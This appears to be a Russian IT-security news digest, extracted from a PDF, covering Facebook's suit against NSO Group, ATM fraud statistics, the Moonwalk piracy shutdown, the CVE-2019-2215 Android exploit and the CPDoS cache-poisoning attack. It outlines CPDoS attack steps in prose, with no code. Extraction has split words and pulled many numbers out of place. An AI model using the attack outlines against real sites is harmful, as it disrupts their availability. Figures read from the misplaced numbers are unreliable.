→ «В  нас тоящее  вре мя  в  РФ  про ходит  обсужде ние  законоп роек та,  который  пред писыва ет
дос таточ но  серь езные  штра фы  для  ком паний,  которые  не  соб люда ют  законо датель ство
в  области  регули рова ния  интерне та.  Мне  кажет ся,  это  очень  серь езный  и  эффектив ный шаг
впе ред. Если мы еще нес коль ко лет назад говори ли о том, что наруши тели дол жны быть заб‐ 
локиро ваны, то теперь, мне кажет ся, есть более цивили зован ный и эффектив ный метод, ког да
его наказы вают „эко номи чес ким руб лем“, — таким обра зом мы добива емся, что бы он соб людал
мес тное законо датель ство»
— заявил Алек сандр Жаров

FACEBOOK VS NSO
Ком пания  Facebook  обра тилась  в  суд  с  иском  про тив  изра иль ской  фир мы
NSO  Group,  которая  занима ется  раз работ кой  и  про дажей  шпи онских
решений и так называ емой легаль ной мал вари.

NSO Group была осно вана в 2010 году и с тех пор занима ется раз работ‐ 
кой раз личной легаль ной мал вари,  которую,  наряду  с  экс пло ита ми для раз‐ 
личных  0‐day,  про дает  пра витель ствам  и  спец служ бам  по  все му  миру.
Широкую  извес тность  NSO  Group  получи ла  в  2016–2017  годах,  ког да  спе‐ 
циалис ты по информа цион ной безопас ности обна ружи ли мощ ные шпи онские
инс тру мен ты   и  , раз работан ные ком пани ей и пред назна чен‐ 
ные для iOS и Android.

Pegasus Chrysaor

Тог да  экспер ты называ ли NSO Group не ина че,  как  «тор говца ми  киберо‐ 
ружи ем», а  ком пания,  которая даже не име ла пуб лично го сай та и ста ралась
всег да дер жать ся в тени, была вынуж дена выпус тить офи циаль ное заяв ление.
Оно  гла сило,  что  «мис сия  NSO —  это  сде лать  мир  безопас нее,  пос тавляя
авто ризо ван ным  пра витель ствен ным  струк турам  тех нологии,  которые
помога ют им бороть ся с прес тупностью и тер рориз мом».

По водом  для  иска  пос лужила  уяз вимость  нулево го  дня  в  WhatsApp,
которая,  как  утвер жда ет  Facebook,  была  про дана  NSO Group,  а  затем  ком‐ 
пания помога ла исполь зовать проб лему для атак на пра воза щит ников, жур‐ 
налис тов,  полити чес ких  дис сиден тов,  дип ломатов  и  пра витель ствен ных
чинов ников.  Сог ласно  судеб ным  докумен там,  в  общей  слож ности  за  один‐ 
надцать дней от атак пос тра дали более 1400 человек в США, Бах рей не, Объ‐ 
еди нен ных Араб ских Эми ратах и Мек сике. Facebook уже нап равила всем пос‐ 
тра дав шим спе циаль ные сооб щения в WhatsApp.

На пом ню,  что  о  дан ной  0‐day‐проб леме  ста ло  извес тно  в  мае  текуще го
года. Тог да изда ние Financial Times утвер жда ло, что NSO Group раз работа ла
для  нее  экс пло ит,  который  зло упот реблял фун кци ональ ностью  VoIP‐звон ков
в WhatsApp. Так, жер тва получа ла вызов в WhatsApp, и спе циаль но соз данные
пакеты  RTCP  поз воляли  зло умыш ленни ку  запус тить  вре донос ный  код
на  устрой стве,  что  при води ло  к  уста нов ке  Pegasus  (незави симо  от  того,
исполь зовала жер тва Android или iOS). В ито ге раз работ чики Facebook были
вынуж дены выпус тить сроч ные обновле ния и испра вили уяз вимость, но тог да
ком пания не сде лала никаких офи циаль ных заяв лений, не счи тая пуб ликации
нес коль ких прос тых рекомен даций для поль зовате лей.

Те перь пред ста вите ли Facebook рас ска зали жур налис там Washington Post,
что  соб рали  дос таточ но  доказа тель ств  при час тнос ти  NSO  Group  к  это му
инци ден ту и соч ли нуж ным обра тить ся в суд. Так, ата ки ока зались соп ряжены
с  сер верами  и  хос тинго выми  сер висами,  которые  ранее  уже  свя зыва ли
с NSO Group, и, кро ме того, некото рые акка унты WhatsApp, исполь зован ные
в ходе атак, так же уда лось прос ледить до изра иль ской фир мы.

Со циаль ная  сеть  намере вает ся  прив лечь  NSO Group  к  ответс твен ности,
в  том  чис ле  сог ласно  закону  о  компь ютер ном  мошен ничес тве  и  зло упот‐ 
ребле нии,  доказав,  что  ком пания  была  свя зана  с  активной  хакер ской  кам‐ 
пани ей и занима ется не толь ко легаль ным биз несом.

Так же  вско ре  ста ло  извес тно,  что  Facebook  уже  забани ла  сот рудни ков
NSO Group на сво их плат формах. «Ваша учет ная запись была уда лена из‐за
наруше ния наших пра вил. Вы не смо жете вой ти в эту учет ную запись, и ник то
дру гой не смо жет ее уви деть. Мы не можем вос ста нав ливать учет ные записи,
которые  были  уда лены  из‐за  наруше ний  такого  рода», —  такое  сооб щение
в Instagram получил один из слу жащих изра иль ской фир мы.

Де ло  в  том,  что  судеб ный  иск  сре ди  про чего  пре дус матри вает  пос тоян ный
судеб ный  зап рет,  зап реща ющий  всем  сот рудни кам  NSO  Group  получать
или  пытать ся  получить  дос туп  к  служ бам,  плат форме  и  компь ютер ным  сис‐ 
темам  WhatsApp  и  Facebook.  Но,  похоже,  соци аль ная  сеть  решила
не дожидать ся решения суда и начала банить всех при час тных к деятель нос ти
NSO Group уже сей час. Жалобы на бло киров ку мож но най ти на изра иль ских
форумах,  а  так же  на  LinkedIn.  Поль зовате ли  пишут,  что  бло киров ки  зат‐ 
ронули  98%  сот рудни ков  ком пании  и  даже  кос нулись  людей,  не  име ющих
отно шения к NSO Group.

«Вче ра  мои  лич ные  про фили  в  Facebook  и  Instagram  были  пред- 
намерен но заб локиро ваны величай шим наруши телем кон фиден циаль- 
нос ти  в  исто рии  челове чес тва  aka  Facebook.  Почему?  Потому  что  я
работаю в ком пании под наз вани ем NSO Group и, сог ласно их заяв- 
лени ям,  обна ружил  и  исполь зовал  уяз вимос ти  в  архи тек туре  What-
sApp,  что бы  пре дос тавить  спец служ бам  и  пра витель ствам  слож ные
инс тру мен ты для пре дот вра щения сле дующе го 9/11», — воз муща ется
на LinkedIn руково дитель по под готов ке кад ров NSO Group Гай Брен- 
нер (Guy Brenner).

Пред ста вите ли  NSO  Group  уже  отре аги рова ли  на  про исхо дящее,  сооб щив,
что  намере ны  бороть ся  с  выд винуты ми  обви нени ями,  и  в  оче ред ной  раз
завери ли СМИ, что пре дос тавля ют свои тех нологии толь ко лицен зирован ным
пра витель ствен ным, раз ведыва тель ным и пра воох ранитель ным орга нам, что‐ 
бы помочь тем бороть ся с тер рориз мом и прес тупностью. В ком пании утвер‐ 
жда ют,  что  соб люда ют  законы  и  рекомен дации  ООН,  пре секая  любые  зло‐ 
упот ребле ния сво ими про дук тами.

 ЗА ОДИН ВЗЛОМ БАН КОМАТА1000 ЕВРО

Сог ласно све жему отче ту Евро пей ской груп пы по обес печению безопас ности бан коматов (Eu‐
ropean  ATM  Security  Team,  EAST),  в  Евро пе  теперь  сов сем  непопу ляр ны  ата ки  на  бан коматы
при помощи мал вари и джек поттин га: они при носят прес тупни кам менее    за  одно
успешное ограбле ние.

1000 евро

В пер вом полуго дии 2019 года евро пей ские бан ки сооб щили все го о   инци ден тах, свя зан ных
с ата ками мал вари и джек поттин гом (они же ата ки black box или логичес кие ата ки). Вре донос‐ 
ное ПО исполь зовалось толь ко в   слу чаях, осталь ное приш лось на black box ата ки.
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В  резуль тате  потери  финан совых  орга низа ций  сни зились  на    (с    мил лиона  евро
до   мил лиона евро),  хотя в одном слу чае и был зафик сирован неболь шой ущерб, в раз‐ 
мере менее   евро.

100% 0,25
0,00

1000

Фи зичес кие  ата ки  на  устрой ства  (гру бая  сила,  ата ки  с  помощью  тран спортных  средств
или взрыв чатки) тоже поз воля ют мошен никам похищать весь ма скром ные сум мы: обыч но меж‐ 
ду   и   евро.9000 15 000

За то нас тоящим трен дом ста ли ата ки TRF —  , то есть ата ки, свя зан‐ 
ные с тер миналом. Эта катего рия вклю чает в себя исполь зование ским меров и таких методов,
как  мошен ничес тво  с  отме ной  тран закций.  Такие  методы  при носят  прес тупни кам  от 
до   мил лионов евро в год.

Terminal-Related Fraud
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Ата ки на отме ну тран закций и вов се ста ли пре обла дающей фор мой мошен ничес тва: на их долю
при ходит ся    слу чаев  в  пер вой  полови не  2019  года  (   всех  слу чаев  мошен ничес тва
с бан комата ми вооб ще) по срав нению с   слу чаями в прош лом году.

5649 45%
2292

СНИЖЕНИЕ
ПИРАТСТВА
Из дание TorrentFreak рас ска зало о прек ращении работы круп ного CDN‐про‐ 
вай дера Moonwalk, зак рытия которо го добились анти пират ские объ еди нения
BREIN, MPA и ACE.

Впер вые изда ние обра тило вни мание на Moonwalk еще в начале текуще го
года,  ког да  спе циалис ты  ком пании  Group‐IB  сооб щили  жур налис там,  что
Moonwalk — это прак тичес ки монопо лист в сфе ре пос тавок пират ско го кон‐ 
тента,  чьими  услу гами  поль зуют ся  тысячи  сай тов.  Фак тичес ки  CDN‐пле ер
Moonwalk мог быть раз мещен на бес конеч ном количес тве пират ских ресур‐ 
сов, и все они бра ли видео из одно го источни ка. Экспер ты говори ли, что CDN
Moonwalk, начав ший работу в 2013 году, агре гиро вал 33 490 филь мов и сери‐ 
алов,  а  пла та  сос тавля ла  0,60  дол лара  за  1000  прос мотров.  Так  как  боль‐ 
шинс тво сер веров Moonwalk были рас положе ны за пре дела ми Рос сии (в час‐ 
тнос ти, в Нидер ландах), доб рать ся до них было зат рудни тель но.

Од нако  теперь,  спус тя  нес коль ко  месяцев,  ока залось,  что  гол ланд ская
анти пират ская груп па BREIN сумела с этим спра вить ся. Гла ва BREIN Тим Куик
(Tim Kuik) под твер дил изда нию TorrentFreak,  что 19 октября 2019  года прис‐ 
тавы переда ли судеб ные при казы пяти сто рон ним хос тинг‐про вай дерам, пот‐ 
ребовав от них отклю чить потоко вые сер веры и сох ранить все ули ки, свя зан‐ 
ные с работой Moonwalk.

Три судеб ных решения были адре сова ны гол ланд ским ком пани ям, а еще
два  «фор маль но  инос тран ным  ком пани ям»,  чьи  сер веры  так же  находят ся
в  Нидер ландах.  И  хотя  лидером  этой  опе рации  выс тупили  пред ста вите ли
BREIN,  их  так же  под держа ла  Аме рикан ская  ассо циация  киноком паний  (Mo‐
tion  Picture  Association,  MPA)  и  анти пират ский  аль янс  Alliance  for  Creativity
and Entertainment (ACE).

BREIN  сооб щает,  что  Moonwalk  обес печивал  пиратам  не  толь ко  необ‐ 
ходимый для работы бэкенд, но и огромные объ емы кон тента, которым поль‐ 
зовались при мер но 80% извес тных рос сий ских стри мин говых сай тов. По дан‐ 
ным орга низа ции, топ‐50 этих сай тов генери рова ли 395 мил лионов посеще‐ 
ний от 89,9 мил лиона  уни каль ных посети телей в месяц,  а  зна чит,  индус трия
теряла из‐за это го сот ни мил лионов дол ларов.

Су дя  по  все му,  в  нас тоящее  вре мя  уси лия  пра вооб ладате лей  были  нап‐ 
равле ны  на  прек ращение  работы  Moonwalk  и  сбор  все воз можных  доказа‐ 
тель ств  о  его  деятель нос ти.  Так же  пред положи тель но  BREIN,  MPA  и  ACE
инте ресу ют  опе рато ры  Moonwalk.  Офи циаль ный  сайт  Moonwalk  уже  прек‐ 
ратил  работу  и  показы вает  заяв ление  о  том,  что  он  был  зак рыт BREIN  нав‐ 
сегда и не возоб новит работу.

Пред ста вите ли Group‐IB пишут, что, по обновлен ным дан ным, CDN агре гиро‐ 
вал 42 807 филь мов (из них 14 549 сери алов) и поз волял авто мати зиро вать
раз мещение кон тента на стра ницах пират ских сай тов. Экспер ты рас ска зыва‐ 
ют:

«Боль шая  часть  пират ско го  андегра унда  любит  CDN  за  то,  что  эти
про вай деры  агре гиру ют  у  себя  сот ни  тысяч  фай лов,  содер жащих
филь мы  и  сери алы,  и  пре дос тавля ют  тех ничес кий  сер вис,  поз воля- 
ющий  авто мати зиро вать  раз мещение  это го  кон тента  на  стра ницах
пират ских сай тов. Некото рые из таких тех ничес ких про вай деров CDN
так же  пре дос тавля ют  веб‑модули  для  авто запол нения  пос терами,
опи сани ями филь мов,  в  осо бых  слу чаях  пос тавля ются  даже  уни каль- 
ные рецен зии. В начале 2019 года мы делились показа тель ными циф- 
рами: 80% пират ских филь мов смот рят в онлай не (стрим), а для сери- 
алов эта циф ра уже близ ка к 90%.

Та кой  „тех нопро рыв“  дал  пиратам  в  десят ки  раз  боль ше  воз- 
можнос тей для биз неса и, соот ветс твен но, заработ ка. Теперь уже ник- 
то  не  дорожит  сво им  доменом,  сво ей  пло щад кой,  бло киров ки  —
не  угро за.  Пират  регис три рует  десяток  домен ных  имен,  кон тент
на этих пор талах раз меща ется авто мати чес ки, а в слу чае бло киров ки
пор тала  поис ковые  рей тин ги  „скле ивают ся“  с  новым  веб‑сай том.
Это  поз воля ет  сох ранить  топ‑позиции  в  резуль татах  выдачи  поис- 
ковых  сис тем,  даже  если  пер вичный  ресурс  попал  под  бло киров ку.
Законом это не зап рещено».

При этом  в Group‐IB  уве рены,  что  зак рытие Moonwalk  поможет  зна читель но
сдер жать  пират ский  биз нес  и  умень шит  рас простра нение  пират ских  копий
в Рос сии, но толь ко в крат косроч ной пер спек тиве. В дол госроч ной пер спек‐ 
тиве мес то Moonwalk зай мут его кон курен ты. Ведь если сто имость еже месяч‐ 
ного  содер жания  такой  CDN‐инфраструк туры  сос тавля ет  поряд‐ 
ка 100 000 дол ларов, то доходы исчисля ются мил лиона ми.

В нас тоящее вре мя HDGO (вто рой по раз меру CDN в РФ) тоже прек ратил
свое сущес тво вание. Тре тий по величи не CDN, kodik, потерял зна читель ную
часть  кон тента,  преж де  все го  сери аль ного,  так  как  исполь зовал  часть
инфраструк туры Moonwalk (сог ласно их вза имным догово рен ностям).

С уче том зак рытия HDGO и Moonwalk, а так же час тично го «падения» kodik,
по  дан ным  ком пании,  пос тра дали  80%  пират ских  онлайн‐киноте атров.
Теперь,  пос ле  зак рытия Moonwalk  и HDGO, на  тер ритории Рос сии незакон‐ 
ной  дис три буци ей  виде окон тента  занима ются  поряд ка  один надца ти  пират‐ 
ских CDN‐про вай деров, один из которых — неназ ванный круп ный пос тавщик,
по объ ему сопос тавимый с Moonwalk.

Поз же, в кон це октября, экспер ты Group‐IB сооб щили, что впер вые за пять
лет рынок интернет‐пиратс тва в Рос сии не толь ко оста новил ся в рос те, но и
показал  падение.  Его  объ ем  сос тавил  63,5  мил лиона  дол ларов  США,  что
на 27% ниже показа теля 2018 года.

Сре ди  основных  при чин  обва ла  доходов  рос сий ских  интернет‐пиратов
экспер ты  перечис лили  удар  по  рек ламной  модели  монети зации  пират ских
ресур сов, падение «боль шой трой ки» пират ских CDN, снаб жавшей кон тентом
до  90%  онлайн‐киноте атров  Рос сии  и  СНГ,  а  так же  совер шенс тво вание
законо датель ного поля и анти пират ский меморан дум.

 ИЗ   ВАРИ АЦИЙ ШИФ РОВАЛЬ ЩИКА STOP МОЖ НО
ДЕШИФ РОВАТЬ
148 160

Спе циалис ты ком пании Emsisoft выпус тили бес плат ную ути литу для дешиф ровки дан ных, пос‐ 
тра дав ших  пос ле  атак  шиф роваль щика  STOP.  В  нас тоящее  вре мя  STOP  счи тает ся  одной
из глав ных угроз сре ди вымога телей: от него уже пос тра дали более   под твержден ных
жертв, а общее чис ло пос тра дав ших оце нива ется при мер но в   человек.

116 000
460 000

Инс тру мент Emsisoft работа ет про тив   из   вари аций STOP, то есть дол жен помочь при‐ 
мер но   жертв, которые пос тра дали  .

148 160
70% до августа 2019 года

Для пос тра дав ших,  чьи дан ные  зашиф рованы при помощи    оставших ся  вари антов  вымога‐ 
теля,  пока  нет  похожих  решений,  но  спе циалис ты  рекомен дуют  пока  архи виро вать  зашиф‐ 
рован ные дан ные, так как дешиф ровщик может появить ся в будущем.
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APPLE НЕ ШПИОНИТ
В середи не месяца по СМИ все го мира про кати лась вол на паничес ких сооб‐ 
щений  о  том,  что  ком пания  Apple  переда ет  дан ные  поль зовате лей  Safari
китай ской  ком пании  Tencent.  Пред ста вите ли  Apple  выс тупили  с  заяв лени ем
и  объ ясни ли,  что  ничего  страш ного  не  про исхо дит,  все  дело  в  недав нем
обновле нии Safe Browsing.

«Apple защища ет кон фиден циаль ность поль зовате лей и ваши дан ные
с помощью Safari  Fraudulent Website Warning, фун кции безопас ности,
которая  отме чает  извес тные  вре донос ные  сай ты.  Ког да  дан ная фун- 
кция активна, Safari све ряет URL-адрес сай та со спис ками извес тных
сай тов  и  показы вает  пре дуп режде ние,  если  URL-адрес,  который
посеща ет  поль зователь,  подоз рева ется  в  мошен ничес ких  дей стви ях,
нап ример фишин ге. 
Для  выпол нения  этой  задачи  Safari  получа ет  спи сок  извес тных  вре- 
донос ных сай тов от Google, а для устрой ств с кодом реги она матери- 
ково го  Китая  спи сок  пре дос тавля ет  Tencent. Фак тичес кий URL-адрес
посеща емо го вами сай та никог да не переда ется пос тавщи ку безопас- 
ного  прос мотра,  и  эту  фун кцию  мож но  отклю чить»,  —  гла сит
пресс‑релиз Apple.

В сущ ности, все сооб щения прес сы сво дились к тому, что в Safari незамет но
появи лась вто рая сис тема безопас ного прос мотра, наз ванная в честь защит‐ 
ного механиз ма Google Safe Browsing. Прин цип работы такой сис темы прост:
URL,  который собира ется посетить поль зователь, пред варитель но про веря‐ 
ется по спис кам извес тных вре донос ных сай тов.

Продолжение статьи →
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На про тяже нии мно гих лет Apple при меня ла API Google Safe Browsing в Safari
для про вер ки ссы лок. Но в этом году ком пания добави ла в бра узер ана логич‐ 
ную  сис тему  безопас ного  бра узин га  от  китай ской  ком пании  Tencent.
В  резуль тате  чего  СМИ,  на  вол не  мно гочис ленных  скан далов,  свя зан ных
с про тес тами в Гон конге, пос пешили сооб щить, что Apple собира ет и переда‐ 
ет в Китай едва ли не всю исто рию бра узе ров поль зовате лей.

Нуж но понимать, что рань ше защит ные механиз мы дей стви тель но переда‐ 
вали URL‐адре са поль зовате лей про вай дерам Safe Browsing, а те про веря ли
ссыл ки  по  сво им  уда лен ным  базам  вре донос ных  сай тов.  Но  теперь
это  работа ет  ина че.  Так,  механиз мы  Google  и  Tencent,  по  сути,  переда ют
копию сво их БД бра узе ру поль зовате ля, а тот све ряет URL с этой локаль ной
базой. Раз работ чики Apple под черки вают, что внед ренные в Safari механиз мы
безопас ного прос мотра работа ют имен но так и никог да не переда вали дан‐ 
ные поль зовате лей на сто рону.

Бо лее  того,  как  ока залось,  Tencent  не  явля ется  пос тавщи ком  услуг
безопас ного прос мотра по умол чанию. Судя по все му, к решени ям китай ской
ком пании  при бега ют  лишь  тог да,  ког да  на  устрой стве  вклю чен  китай ский
язык. Напом ню, что домены и сер висы Google в Китае бло киро ваны, а зна чит,
там  поль зовате ли  Safari  не  могут  получать  базу  вре донос ных  ссы лок
от Google и соот ветс тву ющие обновле ния. Поэто му в качес тве аль тер нативы
для китай ских поль зовате лей появи лись услу ги Tencent.

В ответ на это обес поко енные поль зовате ли и ИБ‐экспер ты отме чают, что
теперь у Tencent есть воз можность видеть IP‐адре са поль зовате лей (тех, что
исполь зуют  устрой ства  с  нас трой ками  матери ково го  Китая).  И  Apple  акти‐ 
виру ет  эту фун кцию по  умол чанию,  не  пре дуп реждая  поль зовате лей.  К  при‐ 
меру, извес тный ИБ‐спе циалист Мэттью Грин (Matthew Green), доцент кафед‐ 
ры информа тики в Инсти туте Джон са Хоп кинса, в сво ем бло ге под верг кри‐ 
тике API безопас ного прос мотра в целом, в том чис ле и от Google. По сло вам
Гри на, ИБ‐сооб щес тво с тру дом сог лаша ется на ком про мисс в виде Google
Safe Browsing API, одна ко Tencent — это не Google.

«Хотя они [Tencent] впол не могут быть зас лужива ющи ми доверия, мы
зас лужива ем,  что бы  нас  информи рова ли  об  изме нени ях  такого  рода
и  давали  воз можность  сде лать  выбор  в  их  отно шении.  По  мень шей
мере  поль зовате ли  дол жны  узна вать  о  таких  изме нени ях  до  того,
как Apple запус тит фун кцию в про дак шен и тем самым поп росит мил- 
лионы сво их поль зовате лей доверить ся ей», — пишет Грин.

ТОР ВАЛЬД НЕ ОПА САЕТ СЯ MICROSOFT
В рам ках мероп риятия Linux Plumbers Conference Линус Тор вальд про ком менти ровал дей ствия
ком пании  Microsoft,  которая  в  пос леднее  вре мя  обра щает  на  Linux  все  боль ше  вни мания  и,
по  мне нию  мно гих,  хотела  бы  кон тро лиро вать  Linux  или  вов се  унич тожить  его.  Тор валь дс
не сог ласен с этим. По его мне нию, опа сать ся нечего, и, даже если мне ние Microsoft рас ходит‐ 
ся с мне нием сооб щес тва Linux по каким‐то воп росам, это совер шенно нор маль но.

→ «Все это анти‐Microsoft дви жение порой было смеш ным, если рас смат ривать его как шут ку,
но  не  сов сем.  Сегод ня  они  [Microsoft]  на  самом  деле  ста ли  гораз до  дру желюб нее.  На  раз‐ 
личных кон ферен циях я час то обща юсь с инже нера ми Microsoft, и мне кажет ся, да, они изме‐ 
нились,  и  инже неры  рады  это му.  И  они  счас тли вы  работать  над  Linux.  Поэто му  я  пол ностью
отка зал ся от этих анти‐Microsoft нас тро ений»
— рас ска зал Тор валь дс

ОЧЕРЕДНОЙ 0‐DAY
В ANDROID
В начале октября 2019 года экспер ты коман ды Google Project Zero сооб щили,
что в ядре Android обна ружен неп рият ный баг, из‐за которо го зло умыш ленни‐ 
ки могут получить root‐дос туп к целево му устрой ству. По информа ции иссле‐ 
дова телей, эта уяз вимость нулево го дня уже находит ся под ата ками.

Из началь но  уяз вимость  была  исправ лена  в  ядре  4.14  LTS  Linux  еще  в
декаб ре  2017  года.  Это  исправ ление  вош ло  в  ядра  Android  3.18,  4.14,
4.4  и  4.9,  одна ко  более  новые  вер сии  по  какой‐то  при чине  оста лись  уяз‐ 
вимыми. В ито ге уяз вимость получи ла иден тифика тор CVE‐2019‐2215 и пред‐ 
став ляет  угро зу  для  сле дующих  моделей  смар тфо нов  под  управле нием  An‐
droid 8.x и более новых вер сий:

Pixel 2 под управле нием Android 9 и Android 10 preview;•
Huawei P20;•
Xiaomi Redmi 5A;•
Xiaomi Redmi Note 5;•
Xiaomi A1;•
Oppo А3;•
Moto Z3;•
смар тфо ны Oreo LG;•
Samsung S7, S8, S9.•

Ху же  того,  экспер ты  писали,  что  экс пло ит  для  этой  уяз вимос ти  дос таточ но
уни вер сален,  что бы  подой ти  для  любой  из  этих  моделей  с  минималь ными
изме нени ями.

К счастью, есть и хорошие новос ти. Све жий 0‐day не получил ста тус кри‐ 
тичес кого,  так  как  это  не  RCE‐уяз вимость,  которую  мож но  исполь зовать
без  какого‐либо  вза имо дей ствия  с  поль зовате лем. Для  экс плу ата ции  проб‐ 
лемы нуж но соб люсти ряд усло вий. Так, зло умыш ленни ку понадо бит ся уста‐ 
новить  на  целевое  устрой ство  вре донос ное  при ложе ние  для  экс плу ата ции
бага. Любые дру гие век торы атак, нап ример через бра узер, пот ребу ют соз‐ 
дать  цепоч ку  экс пло итов  с  при мене нием  дру гих,  допол нитель ных  уяз вимос‐ 
тей.

Спе циалис ты  Google  полага ют,  что  замечен ный  ими  экс пло ит  для  CVE‐
2019‐2215  —  дело  рук  небезыз вес тной  изра иль ской  ком пании  NSO  Group.
Напом ню, что NSO Group была осно вана в 2010 году и с тех пор занима ется
раз работ кой  раз личной  легаль ной мал вари,  которую,  наряду  с  экс пло ита ми
для раз личных 0‐day, про дает пра витель ствам и спец служ бам по все му миру.
Широкую  извес тность  ком пания  получи ла  в  2016–2017  годах,  ког да  спе‐ 
циалис ты по информа цион ной безопас ности обна ружи ли мощ ные шпи онские
инс тру мен ты Pegasus и Chrysaor, раз работан ные NSO Group и пред назна чен‐ 
ные для iOS и Android.

Пред ста вите ли NSO Group отве тили на эти обви нения и сооб щили СМИ,
что не име ют к экс пло иту никако го отно шения:

«NSO  Group  не  про дава ла  и  никог да  не  будет  про давать  экс пло иты
или  уяз вимос ти.  Дан ный  экс пло ит  не  име ет  никако го  отно шения
к  NSO,  а  наша  работа  сос редото чена  на  соз дании  про дук тов,  пред- 
назна чен ных  для  лицен зирован ных  раз вед служб  и  пра воох ранитель- 
ных орга нов, которые спа сают жиз ни».

Пос ле рас кры тия информа ции о проб леме спе циалис тка Google Мэд ди Сто ун
опуб ликова ла в откры том дос тупе PoC‐экс пло ит, одна ко ее код был в извес‐ 
тной сте пени безоби ден, так как не исполь зовал весь потен циал уяз вимос ти.

Но  идею раз вил  далее  Грант Эрнандес  (Grant Hernandez),  кан дидат  наук
из Фло рид ско го  инсти тута  кибер безопас ности  при  Уни вер ситете Фло риды.
Он  пред ста вил  собс твен ный  PoC‐экс пло ит,  наз ванный  Qu1ckR00t,  который
поз воля ет обой ти  такие защит ные механиз мы,  как DAC  (Discretionary Access
Control)  и  Linux  Capabilities  (CAP),  спо собен  отклю чать  SELinux  (Security‐En‐
hanced Linux), SECCOMP (Secure Computing Mode) и MAC (Mandatory Access
Control). В ито ге инс тру мент может исполь зовать ся для получе ния быс тро го
root‐дос тупа к устрой ству, пре дос тавляя зло умыш ленни ку пол ный кон троль.

Ис ходный код Qu1ckR00t был  , но не в виде готово‐ 
го и  упа кован ного APK‐фай ла. То есть поль зовате лю при дет ся ском пилиро‐ 
вать  его  самос тоятель но,  зато  пос ле  он  получит  дос туп  к  при ложе нию,
которое может обес печить root‐дос туп бук валь но одним нажати ем. Эрнандес
пре дуп режда ет,  что  тес тировал  Qu1ckR00t  толь ко  на  Pixel  2  и  неопыт ным
поль зовате лям  луч ше  не  экспе римен тировать  с  этим  инс тру мен том,  так
как они рис куют нарушить работу ОС и потерять все дан ные.

опуб ликован на GitHub

Уяз вимость CVE‐2019‐2215 была устра нена инже нера ми Google в сос таве
октябрь ско го втор ника обновле ний для Android: патч уров ня 2019‐10‐06.

 ВЫМОГА ТЕЛЬ СКИХ ПИСЕМ В ЧАС30 000

В Check Point обна ружи ли одну из при чин рос та количес тва спа мер ских писем, свя зан ных с так
называ емым  сек суаль ным  вымога тель ством.  В  англий ском  язы ке  для  обоз начения  такой
активнос ти  исполь зуют  тер мин  sextortion,  обра зован ный  от  слов  sex  («секс»)  и  extortion
(«вымога тель ство»).

Ока залось, этим активно занима ются опе рато ры бот нета Phorpiex (он же Trik). Мас совые рас‐ 
сылки нас читыва ют до   элек трон ных писем за одну кам панию, то есть некото рые
заражен ные Phorpiex машины рас сылали до   вре донос ных элек трон ных писем в час.

27 000 000
30 000

За пять месяцев наб людений ана лити ки Check Point отсле дили более   (при мер‐ 
но    США),  которые  жер твы  вымога тель ства  переве ли  в  качес тве  выкупа
опе рато рам Phorpiex.

14 бит кой нов
115  000  дол ларов

В  нас тоящее  в  бот нет  Phorpiex  вхо дят  при мер но    заражен ных  компь юте ров
под управле нием Windows.

450  000

АТАКИ НА CDN
Эк спер ты  из  Тех ничес кого  уни вер ситета  Кель на  рас ска зали  о  новой  ата ке,
нап равлен ной  на  отравле ние  веб‐кеша.  Проб лема  пред став ляет  опас ность
для  сетей  дос тавки  кон тента  (content  delivery  network,  CDN)  и  работа ющих
с ними сай тов, так как может вынудить CDN кеширо вать, а затем обслу живать
стра ницы оши бок вмес то легитим ных ресур сов.

Ата ка получи ла наз вание CPDoS (Cache‐Poisoned Denial‐of‐Service) и име‐ 
ет три вари анта исполне ния, которые впол не могут при менять ся на прак тике.

CPDoS‐ата ки  нап равле ны  на  два  основных  ком понен та  сов ремен ного
веба:  веб‐сер веры и  сети дос тавки  кон тента.  Так,  если  веб‐сер веры  хра нят
исходный  сайт  и  его  содер жимое,  то  CDN  хра нит  кеширо ван ную  копию
ресур са,  которая  обновля ется  через  опре делен ные  про межут ки  вре мени.
Это  помога ет  сущес твен но  облегчить  наг рузку  на  веб‐сер веры.  Так  как  в
наши дни CDN при меня ются очень широко, ата ка на сис тему CDN может зна‐ 
читель но ска зать ся на дос тупнос ти сай та и, сле дова тель но, отра зить ся на его
при были.

Та ким  обра зом,  исполь зуя  CPDoS,  прес тупни ки  могут  реали зовать  сле‐ 
дующий сце нарий:

зло умыш ленник под клю чает ся к сай ту до тех пор, пока его зап рос не сге‐ 
нери рует новую запись CDN;

•

зап рос  зло умыш ленни ка  содер жит  иска жен ный  или  слиш ком  боль шой
HTTP‐заголо вок;

•

CDN  поз воля ет  это му  заголов ку  про ходить  через  легитим ный  сайт,  и  в
ито ге  тот может быть обра ботан и исполь зован для  генера ции веб‐стра‐ 
ницы, которую кеширу ет CDN;

•

за голо вок  слиш ком  боль шого  раз мера  про воци рует  на  веб‐сер вере
ошиб ку;

•

сер вер генери рует стра ницу с ошиб кой (ошиб ка 400 Bad Request);•
стра ница ошиб ки кеширу ется в CDN;•
дру гие поль зовате ли, обра щающиеся  к  сай ту,  видят стра ницу с ошиб кой
вмес то реаль ного сай та;

•

ке широ ван ная  ошиб ка  рас простра няет ся  на  дру гие  узлы  сети CDN,  соз‐ 
давая лож ное отклю чение на легитим ном сай те.

•

Ис сле дова тели  пишут,  что  сущес тву ет  три  вари анта  CPDoS‐атак,  которые
зависят от того, как зло умыш ленни ки струк туриру ют свой иска жен ный заголо‐ 
вок:  с  исполь зовани ем  полей  заголов ка  боль шого  раз мера  (HTTP  Header
Oversize),  метасим волов,  вызыва ющих  ошиб ки  (HTTP  Meta  Character),
или  инс трук ций,  которые  перепи шут  нор маль ные  отве ты  сер вера  (HTTP
Method Override).

Ин терес но,  что экспер там уда лось про вес ти мас штаб ные испы тания CP‐
DoS‐атак на  тес товом сай те, раз мещен ном в сети нес коль ких CDN‐про вай‐ 
деров.  Так,  на  при веден ной  ниже  кар те  вид но,  что  зло умыш ленник  (сим вол
опас ности)  запус кает  ата ку  на  сер вер  CDN  легитим ного  сай та  (синий  мар‐ 
кер), а тот рас простра няет стра ницу с кеширо ван ной ошиб кой на дру гие сер‐ 
веры CDN (крас ные мар керы), отравляя боль шую часть сети про вай дера.

К счастью, не все веб‐сер веры (реали зации про токо ла HTTP) и CDN‐про вай‐ 
деры  уяз вимы перед ата ками CPDoS. В  таб лице ниже показа но,  какие  ком‐ 
бинации  сер вер  +  CDN  уяз вимы,  сог ласно  про веден ным  иссле дова теля ми
тес там.

Вла дель цам сай тов не так уж труд но про тивос тоять ата кам CPDoS: дос таточ‐ 
но нас тро ить работу со сво им про вай дером CDN таким обра зом, что бы стра‐ 
